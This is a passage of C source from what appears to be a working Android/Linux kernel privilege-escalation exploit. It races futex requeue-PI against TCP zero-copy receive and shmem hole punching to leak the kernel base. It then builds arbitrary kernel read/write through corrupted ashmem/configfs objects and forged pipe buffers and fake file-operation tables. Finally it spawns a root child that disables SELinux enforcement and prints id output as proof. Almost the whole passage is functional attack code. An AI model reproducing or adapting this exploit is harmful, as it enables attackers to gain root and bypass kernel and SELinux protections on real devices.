(!atomic_load(&stage0_consume_go)) { __asm__ volatile("yield" ::: "memory"); if (atomic_load(&stage0_consume_stop)) { return NULL; } continue; } for (int spin = 0; spin < STAGE0_CONSUME_DELAY; spin++) { __asm__ volatile("yield" ::: "memory"); } if (!atomic_load(&stage0_consume_go)) { continue; } int tid = atomic_load(&stage0_waiter_tid); int calls = atomic_load(&stage0_consume_calls); sched_setattr_tid(tid, (calls % 19) + 1); atomic_store(&stage0_consume_calls, calls + 1); atomic_store(&stage0_consume_stop, 1); while (atomic_load(&stage0_consume_go)) { __asm__ volatile("yield" ::: "memory"); } return NULL; } } static void *stage0_waiter_thread(void *arg __attribute__((unused))) { int tid = (int)SYSCHK(syscall(SYS_gettid)); atomic_store(&stage0_waiter_tid, tid); pr_info("stage0 waiter tid=%d\n", tid); if (futex_op(&stage0_f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0) != 0) { pr_error("stage 1 worker setup failed errno=%d\n", errno); return NULL; } atomic_store(&stage0_waiter_ready, 1); while (!atomic_load(&stage0_owner_started)) { usleep(1000); } struct timespec timeout; SYSCHK(clock_gettime(CLOCK_MONOTONIC, &timeout)); timeout.tv_sec += STAGE0_WAIT_SECONDS; atomic_store(&stage0_waiter_waiting, 1); futex_op(&stage0_f_wait, FUTEX_WAIT_REQUEUE_PI, 0, &timeout, &stage0_f_pi_target, 0); futex_op(&stage0_f_pi_chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0); stage0_tcp_stack_copy(); atomic_store(&stage0_route_done, 1); for (;;) { sleep(1); } } static void *stage0_owner_thread(void *arg __attribute__((unused))) { if (futex_op(&stage0_f_pi_target, FUTEX_LOCK_PI, 0, NULL, NULL, 0) != 0) { pr_error("stage 1 owner setup failed errno=%d\n", errno); return NULL; } while (!atomic_load(&stage0_waiter_ready)) { usleep(1000); } atomic_store(&stage0_owner_started, 1); futex_op(&stage0_f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0); for (;;) { sleep(1); } } static int hex_value(char c) { if (c >= '0' && c <= '9') { return c - '0'; } if (c >= 'a' && c <= 'f') { return c - 'a' + 10; } if (c >= 'A' && c <= 'F') { return c - 'A' + 10; } return -1; } static uint64_t stage0_read_stext(void) { char buf[64]; unsigned char raw[16]; int fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY | O_CLOEXEC); if (fd < 0) { pr_info("stage 1 read denied errno=%d\n", errno); return 0; } ssize_t n = read(fd, buf, sizeof(buf) - 1); close(fd); if (n < 0) { pr_info("stage 1 read failed errno=%d\n", errno); return 0; } buf[n] = 0; pr_info("stage0 boot_id_text=%s", buf); int nibble = -1; int out = 0; for (ssize_t i = 0; i < n && out < 16; i++) { int v = hex_value(buf[i]); if (v < 0) { continue; } if (nibble < 0) { nibble = v; continue; } raw[out++] = (unsigned char)((nibble << 4) | v); nibble = -1; } if (out != 16) { pr_info("stage 1 short read out=%d n=%zd\n", out, n); return 0; } uint64_t leaked = 0; for (int i = 0; i < 8; i++) { leaked |= (uint64_t)raw[i] << (i * 8); } if ((leaked >> 48) != 0xffff) { pr_info("stage 1 rejected sample\n"); return 0; } uint64_t off = STAGE0_NFULNL_LOGGER - STAGE0_LINEAR_BASE; uint64_t stext = leaked - off; if ((stext >> 48) != 0xffff || (stext & 0xffff) != 0) { pr_info("stage 1 rejected base=%016llx\n", (unsigned long long)stext); return 0; } pr_success("stage 1 sample accepted\n"); return stext; } static uint64_t stage0_child_leak_stext(void) { pthread_t waiter; pthread_t owner; pthread_t consumer; SYSCHK(pthread_create(&waiter, NULL, stage0_waiter_thread, NULL)); SYSCHK(pthread_create(&owner, NULL, stage0_owner_thread, NULL)); SYSCHK(pthread_create(&consumer, NULL, stage0_consumer_thread, NULL)); while (!atomic_load(&stage0_waiter_waiting) || !atomic_load(&stage0_owner_started)) { usleep(1000); } futex_op(&stage0_f_wait, FUTEX_CMP_REQUEUE_PI, 1, (void *)1, &stage0_f_pi_target, 0); while (!atomic_load(&stage0_route_done)) { sleep(1); } return stage0_read_stext(); } static int stage0_leak_kernel_base(void) { for (int attempt = 1; attempt <= STAGE0_MAX_ATTEMPTS; attempt++) { pr_info("stage0 attempt %d/%d\n", attempt, STAGE0_MAX_ATTEMPTS); page_base = prepare_good_kernel_page(PAGE_PAYLOAD_STAGE0); pr_success("stage 1 workspace ready\n"); if (!page_base || !fake_lock) { continue; } int fds[2]; SYSCHK(pipe(fds)); pid_t child = SYSCHK(fork()); if (child == 0) { SYSCHK(close(fds[0])); disable_rseq_for_thread(); uint64_t stext = stage0_child_leak_stext(); if (stext) { SYSCHK(write(fds[1], &stext, sizeof(stext))); _exit(0); } _exit(1); } SYSCHK(close(fds[1])); uint64_t stext = 0; ssize_t n = read(fds[0], &stext, sizeof(stext)); SYSCHK(close(fds[0])); int status = 0; SYSCHK(waitpid(child, &status, 0)); if (n != (ssize_t)sizeof(stext) || !WIFEXITED(status) || WEXITSTATUS(status) != 0 || !stext) { pr_info("stage 1 attempt %d failed n=%zd status=%d\n", attempt, n, status); continue; } kaslr_base = stext; kaslr_slide = kaslr_base - KIMAGE_TEXT_BASE; kaslr_done = 1; pr_success("stage 1 complete base=%016llx\n", (unsigned long long)kaslr_base); return 1; } return 0; } static int make_tcp_pair(int *client_fd, int *server_fd) { int listener = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0); if (listener < 0) { return -1; } int one = 1; setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in addr; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_port = 0; if (bind(listener, (struct sockaddr *)&addr, sizeof(addr)) != 0 || listen(listener, 1) != 0) { close(listener); return -1; } socklen_t addr_len = sizeof(addr); if (getsockname(listener, (struct sockaddr *)&addr, &addr_len) != 0) { close(listener); return -1; } *client_fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0); if (*client_fd < 0) { close(listener); return -1; } if (connect(*client_fd, (struct sockaddr *)&addr, sizeof(addr)) != 0) { close(*client_fd); close(listener); return -1; } *server_fd = accept4(listener, NULL, NULL, SOCK_CLOEXEC); close(listener); if (*server_fd < 0) { close(*client_fd); return -1; } return 0; } static void *tcp_punch_thread(void *arg) { disable_rseq_for_thread(); struct punch_state *state = arg; while (!atomic_load(&punch_go)) { sched_yield(); } while (!atomic_load(&punch_stop)) { SYSCHK(fallocate(state->fd, 0, 0, PUNCH_SHMEM_LEN)); atomic_store(&punch_phase, 1); SYSCHK(fallocate(state->fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, state->page_size, PUNCH_SHMEM_LEN - state->page_size)); atomic_store(&punch_phase, 0); } return NULL; } static void stage0_tcp_stack_copy(void) { if (!page_base || !fake_lock) { pr_error("stage 1 route missing workspace page=%016zx token=%016zx\n", page_base, fake_lock); return; } int client_fd; int server_fd; if (make_tcp_pair(&client_fd, &server_fd) != 0) { pr_error("stage 1 route setup failed errno=%d\n", errno); return; } size_t page_size = (size_t)sysconf(_SC_PAGESIZE); int punch_fd = SYSCHK(syscall(SYS_memfd_create, "stage0-tcp-punch", MFD_CLOEXEC)); SYSCHK(fallocate(punch_fd, 0, 0, PUNCH_SHMEM_LEN)); char *map = SYSCHK(mmap(NULL, PUNCH_SHMEM_LEN, PROT_READ | PROT_WRITE, MAP_SHARED, punch_fd, 0)); for (size_t off = 0; off < PUNCH_SHMEM_LEN; off += page_size) { map[off] = 0x55; } struct punch_state state = { .fd = punch_fd, .page_size = page_size, }; pthread_t puncher; SYSCHK(pthread_create(&puncher, NULL, tcp_punch_thread, &state)); atomic_store(&punch_stop, 0); atomic_store(&punch_phase, 0); atomic_store(&punch_go, 1); atomic_store(&stage0_consume_stop, 0); atomic_store(&stage0_consume_go, 0); atomic_store(&stage0_consume_calls, 0); char sendbuf[64]; memset(sendbuf, 0x33, sizeof(sendbuf)); for (int i = 1; i <= TCP_ROUTE_ATTEMPTS; i++) { int calls_before = atomic_load(&stage0_consume_calls); send(server_fd, sendbuf, sizeof(sendbuf), MSG_DONTWAIT); while (atomic_load(&punch_phase)) { sched_yield(); } for (int spin = 0; !atomic_load(&punch_phase) && spin < 10000000; spin++) { __asm__ volatile("yield" ::: "memory"); } unsigned char zc[0x40]; memset(zc, 0, sizeof(zc)); put64(zc, 0x18, (uint64_t)(uintptr_t)(map + page_size)); put32(zc, 0x20, sizeof(sendbuf)); put64(zc, 0x28, STAGE0_INIT_TASK); put64(zc, 0x30, fake_lock); if (i >= TCP_ROUTE_ARM_SEQ) { atomic_store(&stage0_consume_go, 1); } socklen_t len = sizeof(zc); errno = 0; int ret = getsockopt(client_fd, IPPROTO_TCP, TCP_ZEROCOPY_RECEIVE, zc, &len); if (i >= TCP_ROUTE_ARM_SEQ) { for (int spin = 0; spin < STAGE0_POST_SYSCALL_HOLD; spin++) { __asm__ volatile("yield" ::: "memory"); } atomic_store(&stage0_consume_go, 0); } int calls = atomic_load(&stage0_consume_calls); if ((i % 100) == 0 || ret != 0 || calls > calls_before) { pr_info("stage0 tcp seq=%d ret=%d errno=%d len=%u calls=%d\n", i, ret, errno, len, calls); } if (calls > calls_before) { break; } } atomic_store(&stage0_consume_go, 0); atomic_store(&stage0_consume_stop, 1); atomic_store(&punch_stop, 1); SYSCHK(pthread_join(puncher, NULL)); SYSCHK(munmap(map, PUNCH_SHMEM_LEN)); SYSCHK(close(punch_fd)); SYSCHK(close(server_fd)); SYSCHK(close(client_fd)); pr_info("stage0 tcp side effect calls=%d\n", atomic_load(&stage0_consume_calls)); } static void do_tcp_fake_lock_route(void) { if (!page_base || !fake_lock || !fake_fops) { cfi_last_step = 20; pr_error("stage 2 missing workspace page=%016zx token=%016zx table=%016zx\n", page_base, fake_lock, fake_fops); return; } int client_fd; int server_fd; if (make_tcp_pair(&client_fd, &server_fd) != 0) { cfi_last_step = 21; cfi_last_errno = errno; pr_error("stage 2 route setup failed errno=%d\n", errno); return; } size_t page_size = (size_t)sysconf(_SC_PAGESIZE); int punch_fd = SYSCHK(syscall(SYS_memfd_create, "tcp-route-punch", MFD_CLOEXEC)); SYSCHK(fallocate(punch_fd, 0, 0, PUNCH_SHMEM_LEN)); char *map = SYSCHK(mmap(NULL, PUNCH_SHMEM_LEN, PROT_READ | PROT_WRITE, MAP_SHARED, punch_fd, 0)); for (size_t off = 0; off < PUNCH_SHMEM_LEN; off += page_size) { map[off] = 0x55; } struct punch_state state = { .fd = punch_fd, .page_size = page_size, }; pthread_t puncher; SYSCHK(pthread_create(&puncher, NULL, tcp_punch_thread, &state)); atomic_store(&punch_stop, 0); atomic_store(&punch_phase, 0); atomic_store(&punch_go, 1); atomic_store(&punch_consume_stop, 0); atomic_store(&punch_consume_go, 0); atomic_store(&consumer_calls, 0); atomic_store(&consumer_success, 0); char sendbuf[64]; memset(sendbuf, 0x33, sizeof(sendbuf)); int route_ok = 0; for (int page_attempt = 1; page_attempt <= TCP_PAGE_ATTEMPTS; page_attempt++) { int cfi_misses = 0; if (page_attempt != 1) { page_base = prepare_good_kernel_page(PAGE_PAYLOAD_FOPS); } for (int i = 1; i <= TCP_ROUTE_ATTEMPTS; i++) { int calls_before = atomic_load(&consumer_calls); send(server_fd, sendbuf, sizeof(sendbuf), MSG_DONTWAIT); while (atomic_load(&punch_phase)) { sched_yield(); } for (int spin = 0; !atomic_load(&punch_phase) && spin < 10000000; spin++) { __asm__ volatile("yield" ::: "memory"); } unsigned char zc[0x40]; memset(zc, 0, sizeof(zc)); put64(zc, 0x18, (uint64_t)(uintptr_t)(map + page_size)); put32(zc, 0x20, sizeof(sendbuf)); put64(zc, 0x28, STAGE0_INIT_TASK); put64(zc, 0x30, fake_lock); if (i >= TCP_ROUTE_ARM_SEQ) { atomic_store(&punch_consume_go, i); } socklen_t len = sizeof(zc); errno = 0; getsockopt(client_fd, IPPROTO_TCP, TCP_ZEROCOPY_RECEIVE, zc, &len); if (i >= TCP_ROUTE_ARM_SEQ) { for (int spin = 0; spin < TCP_POST_GETSOCKOPT_HOLD; spin++) { __asm__ volatile("yield" ::: "memory"); } atomic_store(&punch_consume_go, 0); } int calls = atomic_load(&consumer_calls); if (calls > calls_before) { if (try_cfi_stage()) { route_ok = 1; break; } if (cfi_dirty_seen) { break; } cfi_misses++; if (cfi_misses >= TCP_CFI_ATTEMPTS_PER_PAGE) { break; } } } if (route_ok || cfi_dirty_seen) { break; } } atomic_store(&punch_consume_go, 0); atomic_store(&punch_consume_stop, 1); atomic_store(&punch_stop, 1); SYSCHK(pthread_join(puncher, NULL)); SYSCHK(munmap(map, PUNCH_SHMEM_LEN)); SYSCHK(close(punch_fd)); SYSCHK(close(server_fd)); SYSCHK(close(client_fd)); } static ssize_t configfs_write_once(int fd, uintptr_t target, const void *data, size_t len) { unsigned char blob[128]; memset(blob, 0, sizeof(blob)); put64(blob, CFG_BIN_BUFFER_OFF - ASHMEM_NAME_PREFIX_LEN, target); put32(blob, CFG_BIN_BUFFER_SIZE_OFF - ASHMEM_NAME_PREFIX_LEN, len); put32(blob, CFG_CB_MAX_SIZE_OFF - ASHMEM_NAME_PREFIX_LEN, 0); if (try_set_ashmem_name_blob(fd, blob, sizeof(blob)) != 0) { return -1; } return pwrite(fd, data, len, 0); } static ssize_t configfs_read_once(int fd, uintptr_t target, void *data, size_t len) { unsigned char blob[128]; memset(blob, 0, sizeof(blob)); off_t pos = (off_t)(ASHMEM_PREFIX_COUNT - len); uintptr_t page = target - (uintptr_t)pos; put64(blob, CFG_PAGE_OFF - ASHMEM_NAME_PREFIX_LEN, page); put32(blob, CFG_NEEDS_READ_FILL_OFF - ASHMEM_NAME_PREFIX_LEN, 0); if (try_set_ashmem_name_blob(fd, blob, sizeof(blob)) != 0) { return -1; } return pread(fd, data, len, pos); } static int is_kernel_ptr(uintptr_t value) { return (value & 0xffffff8000000000ULL) == 0xffffff8000000000ULL; } static int is_direct_ptr(uintptr_t value) { return value >= DIRECT_MAP_BASE && value < DIRECT_MAP_END; } static uint64_t kernel_read64(int fd, uintptr_t target) { uint64_t value = 0; ssize_t n = kernel_read_data(fd, target, &value, sizeof(value)); if (n != (ssize_t)sizeof(value)) { return 0; } return value; } static ssize_t kernel_write_data(int fd, uintptr_t target, const void *data, size_t len) { return configfs_write_once(fd, target, data, len); } static ssize_t kernel_read_data(int fd, uintptr_t target, void *data, size_t len) { unsigned char blob[128]; memset(blob, 0, sizeof(blob)); loff_t pos = (loff_t)(ASHMEM_PREFIX_COUNT - len); uintptr_t page = target - (uintptr_t)pos; put64(blob, CFG_PAGE_OFF - ASHMEM_NAME_PREFIX_LEN, page); put32(blob, CFG_NEEDS_READ_FILL_OFF - ASHMEM_NAME_PREFIX_LEN, 0); set_ashmem_name_blob(fd, blob, sizeof(blob)); int pipefd[2]; SYSCHK(pipe(pipefd)); ssize_t spliced = splice(fd, &pos, pipefd[1], NULL, len, 0); if (spliced != (ssize_t)len) { int saved = errno; close(pipefd[0]); close(pipefd[1]); errno = saved; return spliced; } ssize_t got = read(pipefd[0], data, len); int saved = errno; close(pipefd[0]); close(pipefd[1]); errno = saved; return got; } static int refresh_fake_fops_text(int fd) { struct fops_slot { size_t off; uint64_t value; } slots[] = { {FOPS_READ_ITER_OFF, text_addr(CONFIGFS_READ_ITER)}, {FOPS_WRITE_ITER_OFF, text_addr(CONFIGFS_BIN_WRITE_ITER)}, {FOPS_IOCTL_OFF, text_addr(ASHMEM_IOCTL)}, {FOPS_COMPAT_IOCTL_OFF, text_addr(ASHMEM_COMPAT_IOCTL)}, {FOPS_MMAP_OFF, text_addr(ASHMEM_MMAP)}, {FOPS_OPEN_OFF, text_addr(ASHMEM_OPEN)}, {FOPS_RELEASE_OFF, text_addr(ASHMEM_RELEASE)}, {FOPS_SPLICE_READ_OFF, text_addr(COPY_SPLICE_READ)}, {FOPS_SHOW_FDINFO_OFF, text_addr(ASHMEM_SHOW_FDINFO)}, }; for (size_t i = 0; i < sizeof(slots) / sizeof(slots[0]); i++) { if (kernel_write_data(fd, fake_fops + slots[i].off, &slots[i].value, sizeof(slots[i].value)) != (ssize_t)sizeof(slots[i].value)) { return 0; } } return 1; } static int leak_kernel_base(int fd) { kaslr_fops_alias = p0_data_alias(ASHMEM_FOPS); kaslr_open_ptr = kernel_read64(fd, kaslr_fops_alias + FOPS_OPEN_OFF); kaslr_ioctl_ptr = kernel_read64(fd, kaslr_fops_alias + FOPS_IOCTL_OFF); kaslr_mmap_ptr = kernel_read64(fd, kaslr_fops_alias + FOPS_MMAP_OFF); kaslr_release_ptr = kernel_read64(fd, kaslr_fops_alias + FOPS_RELEASE_OFF); kaslr_show_fdinfo_ptr = kernel_read64(fd, kaslr_fops_alias + FOPS_SHOW_FDINFO_OFF); if (!is_kernel_ptr(kaslr_open_ptr) || !is_kernel_ptr(kaslr_ioctl_ptr) || !is_kernel_ptr(kaslr_mmap_ptr) || !is_kernel_ptr(kaslr_release_ptr) || !is_kernel_ptr(kaslr_show_fdinfo_ptr)) { kaslr_step = 1; return 0; } kaslr_base = kaslr_open_ptr - (ASHMEM_OPEN - KIMAGE_TEXT_BASE); kaslr_slide = kaslr_base - KIMAGE_TEXT_BASE; kaslr_done = 1; kaslr_expected_ioctl = text_addr(ASHMEM_IOCTL); kaslr_expected_mmap = text_addr(ASHMEM_MMAP); kaslr_expected_release = text_addr(ASHMEM_RELEASE); kaslr_expected_show_fdinfo = text_addr(ASHMEM_SHOW_FDINFO); if (kaslr_ioctl_ptr != kaslr_expected_ioctl || kaslr_mmap_ptr != kaslr_expected_mmap || kaslr_release_ptr != kaslr_expected_release || kaslr_show_fdinfo_ptr != kaslr_expected_show_fdinfo) { kaslr_done = 0; kaslr_step = 2; return 0; } if (!refresh_fake_fops_text(fd)) { kaslr_done = 0; kaslr_step = 3; return 0; } kaslr_step = 0; return 1; } static int restore_stage0_boot_id(int fd) { stage0_bootid_want = stage0_canon_addr(STAGE0_SYSCTL_BOOTID); configfs_read_once(fd, STAGE0_RANDOM_BOOT_ID_DATA, &stage0_bootid_before, sizeof(stage0_bootid_before)); stage0_bootid_restore_ret = configfs_write_once(fd, STAGE0_RANDOM_BOOT_ID_DATA, &stage0_bootid_want, sizeof(stage0_bootid_want)); configfs_read_once(fd, STAGE0_RANDOM_BOOT_ID_DATA, &stage0_bootid_after, sizeof(stage0_bootid_after)); pr_info("stage0 restore boot_id data ret=%zd before=%016llx want=%016llx after=%016llx errno=%d\n", stage0_bootid_restore_ret, (unsigned long long)stage0_bootid_before, (unsigned long long)stage0_bootid_want, (unsigned long long)stage0_bootid_after, errno); return stage0_bootid_restore_ret == (ssize_t)sizeof(stage0_bootid_want) && stage0_bootid_after == stage0_bootid_want; } static uintptr_t direct_to_page(uintptr_t addr) { uintptr_t pfn = (addr - DIRECT_MAP_BASE) >> 12; return VMEMMAP_START + pfn * STRUCT_PAGE_SIZE; } static uintptr_t direct_to_head_page(int fd, uintptr_t addr) { uintptr_t page = direct_to_page(addr); uint64_t compound_head = kernel_read64(fd, page + STRUCT_PAGE_COMPOUND_HEAD_OFF); if (compound_head & 1) { return compound_head & ~1ULL; } return page; } static uintptr_t page_to_direct(uintptr_t page) { uintptr_t pfn = (page - VMEMMAP_START) / STRUCT_PAGE_SIZE; return DIRECT_MAP_BASE + (pfn << 12); } static uintptr_t pipe_buf_ops_addr(void) { return text_addr(ANON_PIPE_BUF_OPS); } static int pipe_cache_matches(uint64_t slab_cache) { if (slab_cache == 0) { return 0; } if (KMALLOC_PIPE_INDEX == 10) { return slab_cache == kmalloc_normal_1k_cache || slab_cache == kmalloc_cgroup_1k_cache; } if (KMALLOC_PIPE_INDEX == 11) { return slab_cache == kmalloc_normal_2k_cache || slab_cache == kmalloc_cgroup_2k_cache; } return slab_cache == kmalloc_pipe_cache; } static int pipe_reclaim_cache_gate(int fd) { if (!is_direct_ptr(pipebuf_page_base)) { return 0; } pipe_cache_page_index = -1; pipe_cache_slot_hit = -1; memset(pipe_page_slab_cache, 0, sizeof(pipe_page_slab_cache)); memset(pipe_page_type, 0, sizeof(pipe_page_type)); uint64_t cache_slots[KMALLOC_CACHE_SLOTS]; memset(cache_slots, 0, sizeof(cache_slots)); kernel_read_data(fd, data_addr(KMALLOC_CACHES), cache_slots, sizeof(cache_slots)); kmalloc_normal_1k_cache = cache_slots[KMALLOC_NORMAL_TYPE * KMALLOC_BUCKETS + 10]; kmalloc_normal_2k_cache = cache_slots[KMALLOC_NORMAL_TYPE * KMALLOC_BUCKETS + 11]; kmalloc_cgroup_1k_cache = cache_slots[KMALLOC_CGROUP_TYPE * KMALLOC_BUCKETS + 10]; kmalloc_cgroup_2k_cache = cache_slots[KMALLOC_CGROUP_TYPE * KMALLOC_BUCKETS + 11]; kmalloc_pipe_cache = kernel_read64(fd, data_addr(KMALLOC_CGROUP_PIPE_SLOT)); pr_info("pipe cache slots normal1k=%016zx normal2k=%016zx cg1k=%016zx cg2k=%016zx selected=%016zx index=%d obj=%x slots=%d\n", kmalloc_normal_1k_cache, kmalloc_normal_2k_cache, kmalloc_cgroup_1k_cache, kmalloc_cgroup_2k_cache, kmalloc_pipe_cache, KMALLOC_PIPE_INDEX, KMALLOC_PIPE_OBJ_SIZE, PIPE_BUFFER_SLOTS); for (size_t off = 0; off < ORDER3_SIZE; off += PAGE_SIZE) { uintptr_t page = pipebuf_page_base + off; uintptr_t head = direct_to_head_page(fd, page); uint64_t slab_cache = kernel_read64(fd, head + STRUCT_SLAB_CACHE_OFF); uint32_t page_type = (uint32_t)kernel_read64(fd, head + STRUCT_PAGE_TYPE_OFF); pipe_page_slab_cache[off / PAGE_SIZE] = slab_cache; pipe_page_type[off / PAGE_SIZE] = page_type; int cache_match = pipe_cache_matches(slab_cache); if (off == 0 || cache_match) { candidate_slab_cache = slab_cache; } for (int slot = 0; slot < KMALLOC_CACHE_SLOTS; slot++) { if (cache_slots[slot] == slab_cache) { pipe_cache_slot_hit = slot; } } if (cache_match) { pipebuf_page_base = page; pipe_cache_page_index = off / PAGE_SIZE; pipe_cache_gate_ok = 1; return 1; } } pipe_cache_gate_ok = 0; return 0; } static int read_pipe_slab(int fd, uintptr_t base, unsigned char *slab) { for (size_t off = 0; off < ORDER3_SIZE; off += PIPE_SCAN_CHUNK) { if (kernel_read_data(fd, base + off, slab + off, PIPE_SCAN_CHUNK) != PIPE_SCAN_CHUNK) { return 0; } } return 1; } static int find_pipe_buffer(int fd, uintptr_t base) { unsigned char slab[ORDER3_SIZE]; pipebuf_addr = 0; pipebuf_pipe_idx = -1; pipe_probe_found = 0; pipe_probe_page = 0; pipe_probe_ops = 0; pipe_probe_private = 0; pipe_probe_len = 0; pipe_probe_flags = 0; pipe_scan_vmemmap = 0; pipe_scan_ops = 0; pipe_scan_len = 0; pipe_scan_first_page = 0; pipe_scan_first_ops = 0; pipe_scan_first_len = 0; pipe_scan_first_flags = 0; pipe_scan_q0 = 0; pipe_scan_q1 = 0; pipe_scan_q2 = 0; pipe_scan_q3 = 0; if (!read_pipe_slab(fd, base, slab)) { return 0; } memcpy(&pipe_scan_q0, slab + 0x00, 8); memcpy(&pipe_scan_q1, slab + 0x08, 8); memcpy(&pipe_scan_q2, slab + 0x10, 8); memcpy(&pipe_scan_q3, slab + 0x18, 8); for (size_t off = 0; off + sizeof(struct user_pipe_buffer) <= ORDER3_SIZE; off += 8) { struct user_pipe_buffer pb; memcpy(&pb, slab + off, sizeof(pb)); if (pb.page >= VMEMMAP_START && pb.page < VMEMMAP_END) { pipe_scan_vmemmap++; if (pipe_scan_first_page == 0) { pipe_scan_first_page = pb.page; pipe_scan_first_ops = pb.ops; pipe_scan_first_len = pb.len; pipe_scan_first_flags = pb.flags; } } else { continue; } if (pb.ops == pipe_buf_ops_addr()) { pipe_scan_ops++; } if (pb.len > 0 && pb.len <= PIPE_RECLAIM) { pipe_scan_len++; } if (pb.offset != 0 || pb.ops != pipe_buf_ops_addr() || pb.flags != PIPE_BUF_FLAG_CAN_MERGE || pb.private != 0) { continue; } if (pb.len == 0 || pb.len > PIPE_RECLAIM) { continue; } pipebuf_addr = base + off; pipebuf_pipe_idx = (int)pb.len - 1; pipe_probe_found = 1; pipe_probe_page = pb.page; pipe_probe_ops = pb.ops; pipe_probe_private = pb.private; pipe_probe_len = pb.len; pipe_probe_flags = pb.flags; return 1; } return 0; } static int pipe_phys_read(int fd, int pipefd[2], uintptr_t buf_addr, uintptr_t direct_addr, void *out, size_t len) { struct user_pipe_buffer saved; if (kernel_read_data(fd, buf_addr, &saved, sizeof(saved)) != (ssize_t)sizeof(saved)) { return 0; } struct user_pipe_buffer pb = saved; pb.page = direct_to_page(direct_addr); pb.offset = direct_addr & 0xfff; pb.len = len + 1; pb.ops = pipe_buf_ops_addr(); pb.flags = PIPE_BUF_FLAG_CAN_MERGE; pb.private = 0; if (kernel_write_data(fd, buf_addr, &pb, sizeof(pb)) != (ssize_t)sizeof(pb)) { return 0; } ssize_t got = read(pipefd[0], out, len); int ok = got == (ssize_t)len; kernel_write_data(fd, buf_addr, &saved, sizeof(saved)); return ok; } static int pipe_phys_write(int fd, int pipefd[2], uintptr_t buf_addr, uintptr_t direct_addr, const void *data, size_t len) { struct user_pipe_buffer saved; if (kernel_read_data(fd, buf_addr, &saved, sizeof(saved)) != (ssize_t)sizeof(saved)) { return 0; } struct user_pipe_buffer pb = saved; pb.page = direct_to_page(direct_addr); pb.offset = direct_addr & 0xfff; pb.len = 0; pb.ops = pipe_buf_ops_addr(); pb.flags = PIPE_BUF_FLAG_CAN_MERGE; pb.private = 0; if (kernel_write_data(fd, buf_addr, &pb, sizeof(pb)) != (ssize_t)sizeof(pb)) { return 0; } ssize_t wrote = write(pipefd[1], data, len); int ok = wrote == (ssize_t)len; kernel_write_data(fd, buf_addr, &saved, sizeof(saved)); return ok; } static void forge_pipe_buffers_on_page(int fd, uintptr_t base, uintptr_t direct_addr, size_t len, int for_write) { struct user_pipe_buffer pb; memset(&pb, 0, sizeof(pb)); pb.page = direct_to_page(direct_addr); pb.offset = direct_addr & 0xfff; pb.len = for_write ? 0 : len + 1; pb.ops = pipe_buf_ops_addr(); pb.flags = PIPE_BUF_FLAG_CAN_MERGE; for (size_t off = 0; off < PIPE_SLAB_SIZE; off += PIPE_OBJECT_SIZE) { kernel_write_data(fd, base + off, &pb, sizeof(pb)); } } static int pipe_phys_read_data(int fd, uintptr_t direct_addr, void *out, size_t len) { if (pipebuf_page_base == 0 || pipebuf_pipe_idx < 0) { return 0; } if (!is_direct_ptr(direct_addr) || (direct_addr & 0xfff) + len > PAGE_SIZE) { return 0; } if (pipebuf_addr) { return pipe_phys_read(fd, pipe_fds_reclaim[pipebuf_pipe_idx], pipebuf_addr, direct_addr, out, len); } else { forge_pipe_buffers_on_page(fd, pipebuf_page_base, direct_addr, len, 0); ssize_t got = read(pipe_fds_reclaim[pipebuf_pipe_idx][0], out, len); return got == (ssize_t)len; } } static int pipe_phys_write_data(int fd, uintptr_t direct_addr, const void *data, size_t len) { if (pipebuf_page_base == 0 || pipebuf_pipe_idx < 0) { return 0; } if (!is_direct_ptr(direct_addr) || (direct_addr & 0xfff) + len > PAGE_SIZE) { return 0; } if (pipebuf_addr) { return pipe_phys_write(fd, pipe_fds_reclaim[pipebuf_pipe_idx], pipebuf_addr, direct_addr, data, len); } else { forge_pipe_buffers_on_page(fd, pipebuf_page_base, direct_addr, len, 1); ssize_t wrote = write(pipe_fds_reclaim[pipebuf_pipe_idx][1], data, len); return wrote == (ssize_t)len; } } static uint64_t pipe_read64(int fd, uintptr_t direct_addr) { uint64_t value = 0; pipe_phys_read_data(fd, direct_addr, &value, sizeof(value)); return value; } static uint32_t pipe_read32(int fd, uintptr_t direct_addr) { uint32_t value = 0; pipe_phys_read_data(fd, direct_addr, &value, sizeof(value)); return value; } static int pipe_write64(int fd, uintptr_t direct_addr, uint64_t value) { return pipe_phys_write_data(fd, direct_addr, &value, sizeof(value)); } static int spawn_root_child(void) { root_shared = SYSCHK(mmap(NULL, sizeof(*root_shared), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0)); memset(root_shared, 0, sizeof(*root_shared)); SYSCHK(pipe(root_ready_pipe)); root_child_pid = SYSCHK(fork()); if (root_child_pid == 0) { close(root_ready_pipe[0]); prctl(PR_SET_NAME, "ll_root_child"); char ready = 1; SYSCHK(write(root_ready_pipe[1], &ready, sizeof(ready))); for (int i = 0; i < 5000; i++) { if (atomic_load(&root_shared->go)) { break; } usleep(1000); } if (!atomic_load(&root_shared->go)) { _exit(2); } struct root_report report; memset(&report, 0, sizeof(report)); report.uid_before = getuid(); report.uid_after = getuid(); report.gid_after = getgid(); report.euid_after = geteuid(); report.egid_after = getegid(); report.setgid_ret = report.gid_after == 0 ? 0 : -1; report.setuid_ret = report.uid_after == 0 && report.euid_after == 0 ? 0 : -1; int enforce_fd = open("/sys/fs/selinux/enforce", O_WRONLY | O_CLOEXEC); if (enforce_fd >= 0) { ssize_t wrote = write(enforce_fd, "0", 1); report.setenforce_ret = wrote == 1 ? 0 : -1; report.setenforce_errno = wrote == 1 ? 0 : errno; close(enforce_fd); } else { report.setenforce_ret = -1; report.setenforce_errno = errno; } root_shared->report = report; atomic_store(&root_shared->done, 1); if (report.setgid_ret == 0 && report.setuid_ret == 0) { pr_success("root ready uid=%u->%u euid=%u gid=%u egid=%u selinux_write=%d/%d\n", root_uid_before, report.uid_after, report.euid_after, report.gid_after, report.egid_after, report.setenforce_ret, report.setenforce_errno); pr_success("root proof follows\n"); fflush(stdout); system("/system/bin/id"); system("/system/bin/getenforce"); } _exit(report.uid_after == 0 ? 0 : 1); } 